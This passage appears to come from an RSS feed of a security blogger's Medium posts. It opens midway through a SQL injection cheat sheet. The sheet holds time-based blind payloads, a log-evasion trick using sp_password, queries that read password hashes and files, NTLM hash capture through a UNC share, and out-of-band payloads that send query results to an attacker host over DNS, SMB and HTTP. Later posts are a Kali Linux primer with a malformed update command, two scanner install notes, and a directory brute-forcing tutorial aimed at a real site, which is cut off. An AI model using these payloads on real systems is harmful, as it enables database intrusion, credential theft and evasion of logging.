&#39;0:0:10&#39;--</li><li>ProductID =1&#39;;waitfor delay &#39;0:0:10&#39;--</li><li>ProductID =1&#39;);waitfor delay &#39;0:0:10&#39;--</li><li>ProductID =1));waitfor delay &#39;0:0:10&#39;--</li><li>ProductID =1&#39;));waitfor delay &#39;0:0:10&#39;--</li></ul><h4>BENCHMARK() (M)</h4><p>Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!</p><p>BENCHMARK(howmanytimes, do this)</p><h4>Real World Samples</h4><ul><li>Are we root ? woot! <br>IF EXISTS (SELECT * FROM users WHERE username = &#39;root&#39;) BENCHMARK(1000000000,MD5(1))</li><li>Check Table exist in MySQL <br>IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))</li></ul><h4>pg_sleep(seconds) (P)</h4><p>Sleep for supplied seconds.</p><ul><li>SELECT pg_sleep(10); <br>Sleep 10 seconds.</li></ul><h4>sleep(seconds) (M)</h4><p>Sleep for supplied seconds.</p><ul><li>SELECT sleep(10); <br>Sleep 10 seconds.</li></ul><h4>dbms_pipe.receive_message (O)</h4><p>Sleep for supplied seconds.</p><ul><li>(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message((&#39;xyz&#39;),10) ELSE dbms_pipe.receive_message((&#39;xyz&#39;),1) END FROM dual)</li><li>{INJECTION} = You want to run the query.</li><li>If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.</li></ul><h3>Covering Your Tracks</h3><h4>SQL Server -sp_password log bypass (S)</h4><p>SQL Server don’t log queries that includes sp_password for security reasons(!). So if you add — sp_password to your queries it will not be in SQL Server logs (<em>of course still will be in web server logs</em>, <em>try to use POST if it’s possible</em>)</p><h3>Clear SQL Injection Tests</h3><p>These tests are simply good for blind sql injection and silent attacks.</p><ol><li>product.asp?id=4 (SMO)</li><li>product.asp?id=5-1</li><li>product.asp?id=4 OR 1=1</li><li>product.asp?name=Book</li><li>product.asp?name=Bo&#39;%2b&#39;ok</li><li>product.asp?name=Bo&#39; || &#39;ok (<em>OM</em>)</li><li>product.asp?name=Book&#39; OR &#39;x&#39;=&#39;x</li></ol><h3>Extra MySQL Notes</h3><ul><li>Sub Queries are working only MySQL 4.1+</li><li>Users</li><li>SELECT User,Password FROM mysql.user;</li><li>SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=&#39;2&#39;,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = &#39;root&#39;;</li><li>SELECT ... INTO DUMPFILE</li><li>Write query into a new file (<em>can not modify existing file</em>s)</li><li>UDF Function</li><li>create function LockWorkStation returns integer soname &#39;user32&#39;;</li><li>select LockWorkStation();</li><li>create function ExitProcess returns integer soname &#39;kernel32&#39;;</li><li>select exitprocess();</li><li>SELECT USER();</li><li>SELECT password,USER() FROM mysql.user;</li><li>First byte of admin hash</li><li>SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;</li><li>Read File</li><li>query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</li><li>MySQL Load Data infile</li><li>By default it’s not available !</li><li>create table foo( line blob ); <br>load data infile &#39;c:/boot.ini&#39; into table foo; <br>select * from foo;</li><li>More Timing in MySQL</li><li>select benchmark( 500000, sha1( &#39;test&#39; ) );</li><li>query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</li><li>select if( user() like &#39;root@%&#39;, benchmark(100000,sha1(&#39;test&#39;)), &#39;false&#39; ); <br>Enumeration data, Guessed Brute Force</li><li>select if( (ascii(substring(user(),1,1)) &gt;&gt; 7) &amp; 1, benchmark(100000,sha1(&#39;test&#39;)), &#39;false&#39; );</li></ul><h4>Potentially Useful MySQL Functions</h4><ul><li>MD5() <br>MD5 Hashing</li><li>SHA1() <br>SHA1 Hashing</li><li>PASSWORD()</li><li>ENCODE()</li><li>COMPRESS() <br>Compress data, can be great in large binary reading in Blind SQL Injections.</li><li>ROW_COUNT()</li><li>SCHEMA()</li><li>VERSION() <br>Same as @@version</li></ul><h3>Second Order SQL Injections</h3><p>Basically, you put an SQL Injection to some place and expect it’s unfiltered in another action. This is common hidden layer problem.</p><p>Name : &#39; + (SELECT TOP 1 password FROM users ) + &#39; <br>Email : xx@xx.com</p><p>If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.</p><h3>Forcing SQL Server to get NTLM Hashes</h3><p>This attack can help you to get SQL Server user’s Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain &amp; Abel.</p><h4>Bulk insert from a UNC Share (S) <br>bulk insert foo from &#39;\\YOURIPADDRESS\C$\x.txt&#39;</h4><p>Check out Bulk Insert Reference to understand how can you use bulk insert.</p><h3>Out of Band Channel Attacks</h3><h3>SQL Server</h3><ul><li>?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)<br>Makes DNS resolution request to {INJECT}.yourhost.com</li><li>?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q<br>Makes DNS resolution request to {INJECTION}.yourhost.com</li><li>{INJECTION} = You want to run the query.</li></ul><h3>MySQL</h3><ul><li>?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))<br>Makes a NBNS query request/DNS resolution request to yourhost.com</li><li>?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)<br>Writes data to your shared folder/file</li><li>{INJECTION} = You want to run the query.</li></ul><h3>Oracle</h3><ul><li>?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||’’) FROM DUAL)<br>Sniffer application will save results</li><li>?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)<br>Results will be saved in HTTP access logs</li><li>?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)<br>You need to sniff dns resolution requests to yourhost.com</li><li>?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)<br>You need to sniff dns resolution requests to yourhost.com</li><li>{INJECTION} = You want to run the query.</li></ul><h3>Vulnerability Classification and Severity Table</h3><p>ClassificationID / SeverityPCI v3.16.5.1PCI v3.26.5.1OWASP 2013A1CWE89CAPEC66WASC19HIPAA164.306(a), 164.308(a)CVSS 3.0 ScoreBase 10 (Critical)Temporal 10 (Critical)Environmental 10 (Critical)CVSS Vector String</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45f17fed7b59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting Started with Kali Linux]]></title>
            <link>https://thenurhabib.medium.com/getting-started-with-kali-linux-24a5ed14ac1d?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/24a5ed14ac1d</guid>
            <category><![CDATA[kali]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[os]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Sun, 20 Mar 2022 18:40:06 GMT</pubDate>
            <atom:updated>2022-03-20T18:40:06.249Z</atom:updated>
            <content:encoded><![CDATA[<p>Kali Linux is a very popular penetration testing platform that provides a variety of security auditing tools used by security specialists and hackers in day-to-day encounters.</p><p>Tools available on Kali Linux enable the user to gather information, perform exploits, and prevent their devices from being exploited.</p><h3>Installing Kali Linux</h3><p>For beginners, it may seem complex having Kali Linux as your main operating system since you will mostly be running commands on a terminal rather than using the Graphical User Interface (GUI).</p><p>It is therefore advised to have your Kali Linux installed in a virtual box. This enables you to do your other operations in the main operating system.</p><p>You can have your Kali Linux in your favorite virtual box.</p><p>Available virtual boxes include:</p><ul><li><a href="https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html">Vmware virtual box</a></li><li><a href="https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v">Hyper V virtual box</a></li><li><a href="https://filehippo.com/download_virtualbox/">Oracle virtual box</a></li></ul><p>For our tutorial, we will be using VMware virtual box (My favorite).</p><h4>Download Kali Linux iso</h4><p>Prior to installing the VMware you have to download the Kali Linux iso.</p><p>Use the link below to get to the download page:</p><ul><li><a href="https://www.kali.org/get-kali/#kali-platforms">Kali Linux iso</a></li></ul><h4>Download Vmware virtual box</h4><p>After successfully downloading the Kali Linux iso, you can now download the VMware virtual box using the link below:</p><ul><li><a href="https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html">Vmware virtual box</a>.</li></ul><p>Follow the <a href="https://forums.tomshardware.com/faq/how-to-install-vmware-workstation-in-windows-10.3273363/">installing Vmware</a> tutorials to successfully install the VMware virtual box.</p><h4>Installing Kali Linux in Vmware virtual box</h4><p>You now have all the requirements to successfully set up Kali Linux inside the VMware virtual box.</p><p>Next, follow the guidelines in the “Installing Kali Linux in VMware” to successfully install Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZeqHCLc9fBGmYVez.png" /></figure><p>Cheers! You have successfully installed Kali Linux and now ready to go on.</p><h3>Starting Kali Linux</h3><p>In your virtual box, select the Kali Linux option and click the play button to start your Kali Linux.</p><p>Enter your username and password when prompted.</p><p>Note: The default username is root and the default password is toor.</p><h4>Updating Kali Linux</h4><p>It is recommended to frequently update your Kali Linux and its tools to the latest versions to keep it up to date.</p><p>Follow the steps below to update and upgrade Kali Linux:</p><ul><li>Start the terminal by:</li><li>Holding the <strong>cltr+alt+T</strong> buttons simultaneously or</li><li>Using the GUI (Graphical User Interface), go to the applications section and double click on the terminal option.</li></ul><p>Now run the command below on the terminal to update and upgrade your Kali Linux.</p><pre>$ apt-get update &amp;&amp; upgrade -y</pre><blockquote><em>Note: If it fails to update, precede the command with the sudo keyword since the command requires root privileges.</em></blockquote><h3>Major commands</h3><p>To be able to efficiently operate on Kali Linux, you should be able to run some major commands.</p><p>You can also navigate through Kali Linux courtesy of the Graphical User Interface (GUI) feature. Despite that, it is recommended to use the terminal to navigate through Kali Linux since it is super fast and not so hard to learn the commands.</p><p>So without much delay, let’s dive right in.</p><ol><li><strong>Changing password</strong></li></ol><p>For security purposes, you are advised to change your password from the default password to a password of your choice. You can do so by running the command below:</p><pre>$ passwd</pre><p>Enter a new password and retype it to confirm it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/0*2p7kdwawuiVnd4jp.png" /></figure><p>Note: Remember your password since you will require it whenever you log in.</p><ol><li><strong>Present working directory</strong></li></ol><p>You can see your present working directory by simply running the command pwd.</p><pre>$ pwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/0*fpTEd5YiyLiI6JAh.png" /></figure><ol><li><strong>Listing directories</strong></li></ol><p>To list all the directories and files in the present working directory, run the ls command below:</p><pre>$ ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/0*xwOkw-ytIZeaMOnw.png" /></figure><ol><li><strong>Listing hidden files</strong></li></ol><p>For you to list all the hidden and non-hidden files in the directory, use the ls -la command since the ‘la’ command will now display the hidden files.</p><pre>$ ls -la</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/0*iNDcGsqkU6o5yjM5.png" /></figure><p>You will notice that some file names are preceded with a dot, those are the hidden files.</p><p>They cannot be seen in the GUI.</p><ol><li><strong>Changing directory</strong></li></ol><p>To navigate into a directory, type in the cd keyword followed by the directory name.</p><p>An example is shown below.</p><pre>$ cd Downloads</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*ZnwMd0C-AtkWJiDl.png" /></figure><p>To move a step back from the present directory, just type the cd .. command. Don’t forget to add the two full stops separated from the cd keyword by a space.</p><pre>$ cd ..</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/0*0JUfcjUDjARKoTSu.png" /></figure><p>Trick: If you are not sure of a command, you can type in half of the command and press the tab key to autocomplete the command. You can also double-tap the tab key to see the available options of the half command typed.</p><ol><li><strong>Accessing the internet browser</strong></li></ol><p>To be able to access the internet browser, just type in the name of your favorite browser (eg. firefox or chrome) and you will get a pop-up of the browser.</p><pre>$ firefox</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*YHIp63VUV_L_3PKM.png" /></figure><p>Running the command above will pop up a window of the browser stated.</p><ol><li><strong>Creating a directory</strong></li></ol><p>To create a new directory (commonly known as a folder in Windows), run the mkdir command followed by the preferred name of the directory and run the command as shown in the example below:</p><pre>$ mkdir New</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/0*x-lvcu8I2Ob-1AWS.png" /></figure><p>Note: The directory will be created on your present working directory.</p><p>To relatively remove a directory, simply run the rmdir command before the directory name as shown below:</p><pre>$ rmdir New</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/0*iibqwoQ4bQWCT2bf.png" /></figure><ol><li><strong>Adding a text into a file</strong></li></ol><p>Before explaining, run the command below in your terminal.</p><pre>$ echo &#39;Hello World&#39; &gt; new.txt</pre><p>Notice: The echo keyword adds the words quoted into the file stated or just displays the words if the file is not stated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/0*PCK23smGoOc7q3-P.png" /></figure><ol><li><strong>Locate a file</strong></li></ol><p>To locate a file, simply type in the locate keyword followed by the file name to locate.</p><pre>$ locate new.txt</pre><ol><li><strong>Display content of a file</strong></li></ol><p>To see the contents of a file, use the cat keyword followed by the name of the file to display the content.</p><pre>$ cat renamefile.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/0*9EeVuHjAlDscuGrm.png" /></figure><ol><li><strong>Find your IP</strong></li></ol><p>To find your IP address just type in the ifconfig command. This is similar to the ipconfig in Windows.</p><blockquote><em>Remember to precede your command with the </em><em>sudo keyword since it requires root privileges</em></blockquote><pre>$ sudo ifconfig</pre><h3>Major tools</h3><p>Kali Linux provides a wide range of security auditing tools but for this tutorial, we will discuss some of the commonly used tools.</p><p>We will categorize the tools according to their functionality:</p><ol><li><strong>Information gathering and vulnerability analysis</strong></li></ol><p>Tools available: Nmap, Zenmap etc.</p><ul><li><strong>Nmap</strong></li></ul><p>Let’s discuss Nmap since it is the commonly used information-gathering tool.</p><p>Nmap is a tool that gathers information by scanning the target’s IP address or URL. You can learn more about Nmap scanning and interpretation from the “Introduction to Nmap” tutorial linked below.</p><p>To access Nmap, type in the Nmap command on the terminal followed by the target to scan as shown in the example below:</p><pre>$ nmap scanme.nmap.org</pre><ol><li><strong>Password attacks</strong></li></ol><p>Tools available: John the Ripper, Hydra etc</p><ul><li><strong>John the Ripper</strong></li></ul><p>John the Ripper is a free password cracking tool originally made for Unix but now available on Kali Linux. It works by use of the dictionary method to perform brute force on the target.</p><p>You can access various tools available on John the Ripper by typing in the keywords eg john, maller, unshadow, unique etc.</p><ol><li><strong>Reverse Engineering</strong></li></ol><p>Tools available: NASM tool, Clang</p><ul><li><strong>NASM tool</strong></li></ul><p>The NASM tool allows users to program an assembler. You can do so by saving the assembly code on the cherry tree with the .asm extension.</p><p>On the terminal run the commands depending on the code you are running.</p><ol><li><strong>Exploitation</strong></li></ol><p>Tools available: Metasploit Framework, Proxychains</p><ul><li><strong>Metasploit Framework</strong></li></ul><p>Metasploit Framework is a powerful penetration tool that has numerous modules used to examine a system’s vulnerability and possibly exploit it.</p><p>To access Metasploit Framework on your terminal, run the msfconsole command and the fancy Metasploit framework pops up with msf 5 &gt; shell to run commands.</p><pre>$ msfconsole</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/0*sr6Cc4t1ONvYPeO2.png" /></figure><ol><li><strong>Sniffing and Spoofing</strong></li></ol><p>Tools available: Wireshark, Responder</p><ul><li><strong>Wireshark</strong></li></ul><p>This is the world’s popular network protocol analyzer. It lets users monitor what’s happening on the network from a microscopic perspective.</p><p>To learn more, check out this <a href="https://www.varonis.com/blog/how-to-use-wireshark/">wireshark</a> tutorial.</p><ol><li><strong>Post Exploitation</strong></li></ol><p>Tools available: Powersploit, Searchsploit</p><ul><li><strong>Powerploit</strong></li></ul><p>This is a series of Powershell scripts that comes in handy during a post-exploitation scenario in an authorized penetration testing. They can be used in code execution, script modification, persistence, and bypass an anti-virus.</p><h3>Summary</h3><p>In this article, we have go over how to:</p><ul><li>Install Kali Linux in a Virtual Box.</li><li>Update Kali Linux to the latest version and running some major commands.</li><li>and some of the major tools used in Kali Linux.</li></ul><h3>Conclusion</h3><p>From this article, we have learned that to comfortably use Kali Linux, you don’t need to know how to use all the tools. You just need to know how to use some major tools and run major commands from the terminal.</p><p>With continuous practice, you will comfortably use Kali Linux.</p><p>Good luck!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24a5ed14ac1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[fstScan — Massive Vulnerability scanner.]]></title>
            <link>https://thenurhabib.medium.com/fstscan-massive-vulnerability-scanner-9f4358ca1428?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f4358ca1428</guid>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reconciliation]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Sun, 20 Mar 2022 11:41:59 GMT</pubDate>
            <atom:updated>2022-03-20T11:41:59.680Z</atom:updated>
            <content:encoded><![CDATA[<h3>fstScan — Massive Vulnerability scanner.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cqcoYuj1PWhs0WAF.png" /></figure><h3>fstScan is a fastest tool to scan an entire website.</h3><h3>Main Features</h3><ul><li>Full Network Scaning.</li><li>Crawl every URL and check for SQL,XSS,CSRF, SSRF etc vulnerabilities.</li><li>Crawling all links on a website</li><li>subdomain enumeration.</li><li>Server Scanning.</li><li>Multiprocessing</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AVN2Jar4WfIKknhZ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*Vw1GihIFxp8UHSJV.png" /></figure><h3>Documentation</h3><h3>install</h3><pre>git clone <a href="https://github.com/thenurhabib/fstscan.git">https://github.com/thenurhabib/fstscan.git</a><br>cd fstscan<br>sudo chmod +x install.sh<br>sudo ./install.sh</pre><h4>Usage</h4><pre>python3 fstscan.py</pre><h3>Author</h3><pre>Name       : Md. Nur habib<br>Medium     : thenurhabib.medium.com<br>Twitter    : <a href="https://twitter.com/thenurhab1b">https://twitter.com/thenurhab1b</a><br>HackerRank : <a href="https://www.hackerrank.com/thenurhabib">https://www.hackerrank.com/thenurhabib</a></pre><p>Thank You.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f4358ca1428" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[subNum]]></title>
            <link>https://thenurhabib.medium.com/subnum-e2c43ea6f3ad?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2c43ea6f3ad</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[tools]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Fri, 18 Mar 2022 09:40:10 GMT</pubDate>
            <atom:updated>2022-03-18T09:40:10.411Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*CcYpLieDiijx0Gs0.png" /></figure><h4>Crawl all URLs and check for subdomain takeover vulnerability.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/0*zck6MYZmQBpEONzj.png" /></figure><h3>subNum Crawl all URLs and check for subdomain takeover vulnerability.</h3><h3>Main Features</h3><ul><li>Find All Subdomains.</li><li>Automatically crawl all URLs.</li><li>Automatically test all subdomains for subdomain .takeover vulnerability.</li><li>very first all everything automated.</li><li>Advanced error handling.</li><li>Multiprocessing support.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*ecOfWqoOgtaLvRoS.png" /></figure><h3>Documentation</h3><h3>install</h3><pre>git clone <a href="https://github.com/thenurhabib/subnum.git">https://github.com/thenurhabib/subnum.git</a><br>cd subnum<br>chmod +x install.sh<br>sudo bash ./install.sh</pre><h4>Usage</h4><p>python3 subnum.py --help</p><pre>┌──(habib㉿kali)-[~/Desktop/subNum]<br>└─$ python3 subnum.py --help<br></pre><pre>           | |   | \ | | 1.0              <br>  ___ _   _| |__ |  \| |_   _ _ __ ___  <br> / __| | | | &#39;_ \| . ` | | | | &#39;_ ` _ \ <br> \__ \ |_| | |_) | |\  | |_| | | | | | |<br> |___/\__,_|_.__/|_| \_|\__,_|_| |_| |_|<br>                            @thenurhabib <br>========================================<br>          <br>usage: subnum.py [-h] [-d DOMAIN] [-f FILE] [-o OUTPUT] [-p PROTOCOL]</pre><pre>Crawl all subdomains and check for subdomain takeover vulnerability.</pre><pre>optional arguments:<br>  -h, --help            show this help message and exit<br>  -d DOMAIN, --domain DOMAIN<br>                        Domain name of the taget [ex : example.com]<br>  -f FILE, --file FILE  Provide location of subdomain file.<br>  -o OUTPUT, --output OUTPUT<br>                        Output unique subdomains of sublist3r and subfinder.<br>  -p PROTOCOL, --protocol PROTOCOL<br>                        Set protocol for requests. Default is &quot;http&quot; [ex:<br>                        --protocol https]</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2c43ea6f3ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cansina — Open Source Hidden Content Discovery Tool on Linux]]></title>
            <link>https://thenurhabib.medium.com/cansina-open-source-hidden-content-discovery-tool-on-linux-c2bfb3bfce17?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2bfb3bfce17</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cansina]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Thu, 17 Mar 2022 12:24:38 GMT</pubDate>
            <atom:updated>2022-03-17T12:24:38.951Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cansina — Open Source Hidden Content Discovery Tool on Linux</h3><p>Reconnaissance is one of the first steps to conduct within a pen test engagement. During this stage, information is gathered using different tools and sources. Some web applications may hide web resources from the public, there is however a way to discover the hidden content. This hidden content can contain some sensitive data about the internal architecture of the web application. Although for detecting this hidden content, we can try the hit and trial method by checking the response code of the request performed on the domain server, this process becomes more complicated if the scope of the application is vast. So we can perform an automation process for discovering the hidden content. Cansina is an automated script developed in the Python language which performs hidden content discovery by using the methodology of request and response. The Cansina tool is open source and free to use.</p><p><strong>Note</strong>: Make Sure You have Python Installed on your System, as this is a python-based tool. Click to check the Installation process: <a href="https://www.geeksforgeeks.org/how-to-install-python-on-linux/">Python Installation Steps on Linux</a></p><h3>Installation of Cansina Tool on Kali Linux OS</h3><p><strong>Step 1</strong>: Use the following command to install the tool in your Kali Linux operating system.</p><pre>git clone <a href="https://github.com/deibit/cansina">https://github.com/deibit/cansina</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*DcrT7GqsC6Rwvdpp.jpg" /></figure><p><strong>Step 2</strong>: Now use the following command to move into the directory of the tool. You have to move in the directory in order to run the tool.</p><pre>cd cansina</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*o3iMWZ09spPewTCy.jpg" /></figure><p><strong>Step 3</strong>: You are in the directory of the Cansina. Now you have to install a dependency of the Cansina using the following command.</p><pre>pip install -r requirements.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*up9gsUwahX7n9EgR.jpg" /></figure><p><strong>Step 4</strong>: All the dependencies have been installed in your Kali Linux operating system. Now use the following command to run the tool and check the help section.</p><pre>python3 cansina.py -h</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*eRkmxvTPIo80DJmK.jpg" /></figure><h3>Working with Cansina Tool on Kali Linux OS</h3><p><strong>Example 1: </strong>Simple case</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt</blockquote><p>In this example, we will make GET requests using 4 threads by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*CwZrURxrvMYrBvuj.jpg" /></figure><p><strong>Example 2: </strong>Banning HTTP response codes to output</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -b 404,400,500</blockquote><p>In this example, we have provided the selected codes that will be skipped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*EnJKLTuU6wwW7I-w.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*-joMBAIq0c4KmezS.jpg" /></figure><p><strong>Example 3: </strong>Adding a .php extension to every record in payload</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -e php</blockquote><p>In this example, we will make all payload entries end with an extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*bz90knSIqfotrgYO.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*QhKCH-x-CR3YZzH-.jpg" /></figure><p><strong>Example 4: </strong>Adding a list of extensions</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -e php,asp,aspx</blockquote><p>In this example, Same as above but will repeat every request for every extension provided.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Q3jHK_K9h6IeSMf7.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*6iqdMbrPRIbOY0A3.jpg" /></figure><p><strong>Example 5: </strong>Inspecting content</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -c login</blockquote><p>In this example, Cansina tool will report to screen if the content is detected with a response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*jWn87HFqQN-aQW2n.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*1-qvGKe-QSwb8xkw.jpg" /></figure><p><strong>Example 6: </strong>Filtering by content</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -d 404</blockquote><p>In this example, If the content is found it will be processed as a 404 Not Found page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*iUFdLti6D8oKaQoQ.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*K8Qll8LYaIOJOMAy.jpg" /></figure><p><strong>Example 7: </strong>Auto discriminator</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -D</blockquote><p>In this example, First, Cansina will try to make and remember a 404 response and will skip similar responses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*pG3qANCuVcT-KR8V.jpg" /></figure><p><strong>Example 8: </strong>Size filtering</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -s 1495</blockquote><p>In this example, If you don’t want a response and know its size is fixed this could help to skip all those responses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*aizXn9WH5Uit2M3C.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*zULyxr_caYRT2rTc.jpg" /></figure><p><strong>Example 9: </strong>Uppercase all requests</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -U</blockquote><p>In this example, Just make every payload UPPERCASE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*n40Cb4dRVXUa62Xk.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*kMnOw15Xh9lURl2I.jpg" /></figure><p><strong>Example 10: </strong>Threading</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p 